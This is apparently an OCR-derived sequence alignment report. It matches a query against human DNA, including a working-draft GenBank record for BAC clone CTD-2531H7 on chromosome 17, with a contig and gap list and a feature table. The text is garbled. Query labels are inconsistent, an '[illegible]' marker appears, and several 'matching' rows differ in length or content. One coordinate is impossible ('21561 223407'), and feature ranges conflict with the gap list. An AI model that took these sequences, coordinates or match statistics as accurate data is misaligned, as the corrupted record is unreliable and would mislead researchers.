source location/Qualifiers
1..1155
/organism="Homo sapiens"
/db_xref="taxon:9606"

	BASE COUNT	185 a	349 c	382 g	239 t	
Query Match	70.3%;					Score 1124.6; DB 6; Length 1155;
Best Local Similarity	98.4%;					Pred. No. 1.9e-188;
Matches 1136;	Conservative	0;	Mismatches	19;	Indels	0; Gaps 0;
Oy	175	ATGATCACCAGCGGGCCCCCGGGGGCTGTCCCGGGGCCCTTCGGCGTCTGCTG	234			
Db	1	ATTGATATCAAGGGGGGGCCCCCGGGGGGTGTCCCGGGGCCCTTCGGCGTCTGCTG	60			
Oy	235	CTGAACCCGGCGGGCGGCAGAAGGGCAAGCCCTTGACGCTTTCCGGAGTCACGTGACGCC	294			
Db	61	CTGAACCCGGCGGGCGGCAGAAGGGCAAGCCCTTGACGCTTTCCGGAGTCACGTGACGCC	120			
Oy	295	CTTTTGGCTGAGGCTGAATCTCCTTCACGCTGATGCTCACTACGTGACGGCGAACCACGCG	354			
Db	121	CTTTTGGCTGAGGCTGAATCTCCTTCACGCTGATGCTCACTACGTGACGGCGAACCACGCG	180			
Oy	355	CGGAGACTGGTGGCGGTGGAGAGACTGGGGCCCTGGAGACGCTCTGGTGTATGTCTGGA	414			
Db	181	CGGAGAGTGGTGGCGGTGGAGAGACTGGGGCCCTGGAGACGCTCTGGTGTATGTCTGGA	240			
Oy	415	GACGGGCTGATGACACAGAGTGTAAAGGGGCTCATGGAGGGGCGCTGATGGGAACGGCC	474			
Db	241	GACGGGCTGATGACACAGAGTGTAAAGGGGCTCATGGAGGGGCGCTGATGGGAACGGCC	300			
Oy	475	ATCCAGAAGCCCCTGTGTAGCCTCCACAGAGGCTCTGGACAAGCGCTGGACGTTCTCTTG	534			
Db	301	ATCCAGAAGCCCCTGTGTAGCCTCCACAGAGGCTCTGGACAAGCGGCTGGACGTTCTCTTG	360			
Oy	535	AACCATTAATGTGGCTATGAGCAGGTACCAATATAAGCTCTCTGACCACACTGCACGCTA	594			
Db	361	AACCATTAATGTGGCTATGAGCAGGTACCAATATAAGCTCTCTGACCACACTGCACGCTA	420			
Oy	595	TTCGTGTGCGCCCGGGGTGCTGCACCCATGAACCTGGCTGTCTGCAACAGCGCTTCGGGG	654			
Db	421	TTCGTGTGCGCCCGGGGTGCTGCACCCATGAACCTGGCTGTCTGCAACAGCGCTTCGGGG	480			
Oy	655	CTGCGCTGTCTCTGTGTGCTCAGGCTGGGCTTCATTTGCTGATGTGGACCTAGAG	714			
Db	481	CTGCGCTGTCTCTGTGTGCTCAGGCTGGGCTTCATTTGCTGATGTGGACCTAGAG	540			
Oy	715	AGTATTAAGTATCGGCGCTGTGGGGAGATGCGCTTCACTCTGGCACCTTCTCGCTGTG	774			
Db	541	AGTATTAAGTATCGGCGCTGTGGGGAGATGCGCTTCACTCTGGCACCTTCTCGCTGTG	600			
Oy	775	GCACCCCGGCGCACCTACCGCGGCGAGCTGGCTACCCCTGTAGGAAGAGTGGGTTTTC	834			
Db	601	GCACCCCTGCGCACCTACCGCGGCGAGCTGGCTACCCCTGTAGGAAGAGTGGGTTTTC	660			
Oy	835	AAGACACCTGCTCCCGGTTGTGGTGCAGAGGGGCCGTAGATATGCACACCTGGTGCCA	894			
Db	661	AAGACACCTGCTCCCGGTTGTGGTGCAGAGGGGCCGTAGATATGCACACCTGGTGCCA	720			
Oy	895	CTGAGAAGACAGGTGCTTCTCACTGGCAGTGTGCCCGACAGAGACTTGTGTCTAGTC	954			
Db	721	CTGAGAAGACAGGTGCTTCTCACTGGCAGTGTGCCCGACAGAGACTTGTGTCTAGTC	780			
Oy	955	CTGGCAGTGGCAGCTGGCACCTGGCCAGTAGATAGTGTGTGGACCAATGGGCGCGT	1014			
Db	781	CTGGCAGTGGCAGCTGGCACCTGGCCAGTAGATAGTGTGTGTGGACCAATGGGCGCGT	840			
Oy	1015	GCACCTGGCGCTCAATGACTCTGTTTACGTGGGGCGGGAGTGTCTGCGCATGCTGCTG	1074			
Db	841	GCACCTGGCGCTCAATGACTCTGTTTACGTGGGGCGGGAGTGTCTGCGCATGCTGCTG	900			
Oy	1075	CGCCTCTTCTGGCCCATGAGAGAAGGGCAGCATATGAGTATGATATGCCCTACTTGGTA	1134			
Db	901	CGCCTCTTCTGGCCCATGAGAGAAGGGCAGCATATGAGTATGATATGCCCTACTTGGTA	960			
Oy	1135	TATGTGCCCGGTGTGCTTCCGCTTGGAGCCCAAAGTATGGAAAAGTGTGTTTGCAGTG	1194			

[illegible]

* NOTE: This is a 'working draft' sequence. It currently
* consists of 48 contigs. The true order of the pieces
* is not known and their order in this sequence record is
* arbitrary. Gaps between the contigs are represented as
* runs of N, but the exact sizes of the gaps are unknown.
* This record will be updated with the finished sequence
* as soon as it is available and the accession number will
* be preserved.

1 1059: contig of 1059 bp in length
* 1060 1159: gap of 100 bp
* 1160 2777: contig of 1618 bp in length
* 2778 2877: gap of 100 bp
* 2878 4283: contig of 1406 bp in length
* 4284 4383: gap of 100 bp
* 4384 5447: contig of 1064 bp in length
* 5448 5547: gap of 100 bp
* 5548 6776: contig of 1229 bp in length
* 6777 6876: gap of 100 bp
* 6877 8215: contig of 1339 bp in length
* 8216 8315: gap of 100 bp
* 8316 9961: contig of 1646 bp in length
* 9962 10061: gap of 100 bp
* 10062 12224: contig of 2163 bp in length
* 12225 12324: gap of 100 bp
* 12325 13794: contig of 1470 bp in length
* 13795 13894: gap of 100 bp
* 13895 16857: contig of 2963 bp in length
* 16858 16957: gap of 100 bp
* 16959 18266: contig of 1309 bp in length
* 18267 18366: gap of 100 bp
* 18367 20190: contig of 1824 bp in length
* 20191 20290: gap of 100 bp
* 20291 21460: contig of 1170 bp in length
* 21461 21560: gap of 100 bp
* 21561 223407: contig of 1847 bp in length
* 223408 23507: gap of 100 bp
* 23508 25455: contig of 1948 bp in length
* 25456 25555: gap of 100 bp
* 25556 27331: contig of 1776 bp in length
* 27332 27431: gap of 100 bp
* 27432 30406: contig of 2875 bp in length
* 30407 30506: gap of 100 bp
* 30507 32805: contig of 2299 bp in length
* 32806 32905: gap of 100 bp
* 32906 35659: contig of 2754 bp in length
* 35660 35759: gap of 100 bp
* 35760 37974: contig of 2215 bp in length
* 37975 38074: gap of 100 bp
* 38075 40521: contig of 2447 bp in length
* 40522 40621: gap of 100 bp
* 40622 43219: contig of 2598 bp in length
* 43220 43319: gap of 100 bp
* 43320 46161: contig of 2842 bp in length
* 46162 46261: gap of 100 bp
* 46262 48463: contig of 2202 bp in length
* 48464 48563: gap of 100 bp
* 48564 51275: contig of 2712 bp in length
* 51276 51375: gap of 100 bp
* 51376 53522: contig of 2147 bp in length
* 53523 53622: gap of 100 bp
* 53623 56955: contig of 3333 bp in length
* 56956 57055: gap of 100 bp
* 57056 59555: contig of 2500 bp in length
* 59556 59655: gap of 100 bp
* 59656 62713: contig of 3058 bp in length
* 62714 62813: gap of 100 bp
* 62814 66519: contig of 3706 bp in length
* 66520 66619: gap of 100 bp
* 66620 68930: contig of 2311 bp in length
* 68931 69030: gap of 100 bp
* 69031 72724: contig of 3694 bp in length
* 72725 72824: gap of 100 bp
* 72825 76092: contig of 3268 bp in length

* 76093 76192: gap of 100 bp
* 76193 80143: contig of 3951 bp in length
* 80144 80243: gap of 100 bp
* 80244 84957: contig of 4714 bp in length
* 84958 85057: gap of 100 bp
* 85058 88424: contig of 3367 bp in length
* 88425 88524: gap of 100 bp
* 88525 93428: contig of 4904 bp in length
* 93429 93528: gap of 100 bp
* 93529 97177: contig of 3649 bp in length
* 97178 97277: gap of 100 bp
* 97278 102713: contig of 5436 bp in length
* 102714 102813: gap of 100 bp
* 102814 109141: contig of 6328 bp in length
* 109142 109241: gap of 100 bp
* 109242 114513: contig of 5272 bp in length
* 114514 114613: gap of 100 bp
* 114614 124525: contig of 9912 bp in length
* 124526 124625: gap of 100 bp
* 124626 132364: contig of 7739 bp in length
* 132365 132464: gap of 100 bp
* 132465 139488: contig of 7024 bp in length
* 139489 139588: gap of 100 bp
* 139589 148734: contig of 9146 bp in length
* 148735 148834: gap of 100 bp
* 148835 159465: contig of 10631 bp in length
* 159466 159565: gap of 100 bp
* 159566 172685: contig of 13120 bp in length
* 172686 172785: gap of 100 bp
* 172786 183443: contig of 10658 bp in length.

FEATURES

source

1..183443
/organism="Homo sapiens"
/db_xref="taxon:9606"
/chromosome="17"
/map="17"
/clone="CTD-2531H7"
/clone_11b="CITD Human BAC"
1..1059
/note="assembly-fragment"
1160..2777
/note="assembly-fragment"
2878..4283
/note="assembly-fragment"
4384..5447
/note="assembly-fragment"
5448..6776
/note="assembly-fragment"
6877..8215
/note="assembly-fragment"
8316..9961
/note="assembly-fragment"
10062..12224
/note="assembly-fragment"
12325..13794
/note="assembly-fragment"
13895..16857
/note="assembly-fragment"
16958..18266
/note="assembly-fragment"
18367..20190
/note="assembly-fragment"
20291..21460

Query Match 63.6%; Score 1017.4; DB 2; Length 183443;
Best Local Similarity 98.0%; Pred. No. 6.9e-170;
Matches 1030; Conservative 0; Mismatches 21; Indels 0; Gaps 0;

OY 548 GCTATGACGACGATCAACCAATGAAGACCTCCGACCAACTGACGCTATTGCTGGGCGGCC 607
DB 134217 GCTATGACGACGATCAACCAATGAAGACCTCCGACCAACTGACGCTATTGCTGGGCGGCC 134158
OY 608 CGGTGCTGTACACCATGAACCTGGTGTCTGTGCACACGCTTCGGGCTGGCTGTCT 667

```
Db 134157 GGGTCTGTGACCCATGACCTGCTGCTGACACAGGCTGCGGGCTGCGCTCTCTCT 134098
QY 668 CTGTGCTCAGCCTTGCCCTGGGGCTTCATTCGTGATGAGACCTAGAGATAGATATC 727
Db 134097 CTGTGCTCAGCCTTGCCCTGGGGCTTCATTCGTGATGAGACCTAGAGATAGATATC 134038
QY 728 GGGCTGTGGGGAGATGCGCTTCACCTGAGCACTTCCTGCGCTGCGAGCCCTGCGCA 787
Db 134037 GGGCTGTGGGGAGATGCGCTTCACCTGAGCACTTCCTGCGCTGCGAGCCCTGCGCA 133978
QY 788 CTTACCGGGGCGGAGCTAGCTACCTCCCTGTAGAGAGTGGGTTTCAAGACACCTGCTT 847
Db 133977 CTTACCGGGGCGGAGCTAGCTACCTCCCTGTAGAGAGTGGGTTTCAAGACACCTGCTT 133918
QY 848 CCCCCGTTGTGTCAGAGAGGCGCGGTAGATGACACCTGCTGCCACTGAGAGAGCAGG 907
Db 133917 CCCCCGTTGTGTCAGAGAGGCGCGGTAGATGACACCTGCTGCCACTGAGAGAGCAGG 133858
QY 908 TGCCCTCTCACTGGCAGGTGGTCCCGACGAGACTTGTGCTAGTCTCTGGCAGCTGCTC 967
Db 133857 TGCCCTCTCACTGGCAGGTGGTCCCGACGAGACTTGTGCTAGTCTCTGGCAGCTGCTC 133798
QY 968 ACTGGCACCTGGCCAGTGAATGTTGTGACACCATGGGCGCTGTGACAGCTGGCTCA 1027
Db 133797 ACTGGCACCTGGCCAGTGAATGTTGTGACACCATGGGCGCTGTGACAGCTGGCTCA 133738
QY 1028 TGCACTGTCTACGTGGGCGGGAGTGTCTGTCGATGCTGCTGGCCCTCTTCTTG 1087
Db 133737 TGCACTGTCTACGTGGGCGGGAGTGTCTGTCGATGCTGCTGGCCCTCTTCTTG 133678
QY 1088 CCATGAGAGAGGCGGATATGAGTATGATGATGATGATGATGATGATGATGATGATG 1147
Db 133677 CCATGAGAGAGGCGGATATGAGTATGATGATGATGATGATGATGATGATGATG 133618
QY 1148 TCGCCTTCGCTTGGAGCCCAAGATGGGAAAGTGTGTTGACAGTGGAGGGAATTGA 1207
Db 133617 TCGCCTTCGCTTGGAGCCCAAGATGGGAAAGTGTGTTGACAGTGGAGGGAATTGA 133558
QY 1208 TGGTTAGGAGGCGCTGCAAGGCGGCAAGTGTGACCCCAACTACTTCTGATGTCAGCGTT 1267
Db 133557 TGGTTAGGAGGCGCTGCAAGGCGGCAAGTGTGACCCCAACTACTTCTGATGTCAGCGTT 133498
QY 1268 GCGTGGAGGCGCGGCGGCGGAGGAGCCAGACAGATGCCACCGCCAGAGAGCCCTTAT 1327
Db 133497 GCGTGGAGGCGCGGCGGCGGAGGAGCCAGACAGATGCCACCGCCAGAGAGCCCTTAT 133438
QY 1328 GACCCCTGGGCGGCGGCTGTGCTTAGTGTCTACTTGCAGAGACCTTCTCTCTCTAGG 1387
Db 133437 GACCCCTGGGCGGCGGCTGTGCTTAGTGTCTACTTGCAGAGACCTTCTCTCTCTAGG 133378
QY 1388 GCTGGAGGCGGCTGTGACAGCTGCTGTGGGGGTGGAGAGACTCTCTGAGAGAGGTGA 1447
Db 133377 GCTGGAGGCGGCTGTGACAGCTGCTGTGGGGGTGGAGAGACTCTCTGAGAGAGGTGA 133318
QY 1448 GAAGGTGAGGCTATGCTTTGGGGGACAGGCGCAGATGAATGATCTGGGTGAGAGCCCA 1507
Db 133317 GAAGGTGAGGCTATGCTTTGGGGGACAGGCGCAGATGAATGATCTGGGTGAGAGCCCA 133258
QY 1508 GCTGGCTGGGCGGCGGCTGCTATGTAAGGCTTCTAGTGTCTGAGAGCCCGCCACCCCA 1567
Db 133257 GCTGGCTGGGCGGCGGCTGCTATGTAAGGCTTCTAGTGTCTGAGAGCCCGCCACCCCA 133198
QY 1568 CGAACCAAAATCCAAATAAAGTACATTCCCA 1598
Db 133197 CGAACCAAAATCCAAATAAAGTACATTCCCA 133167
```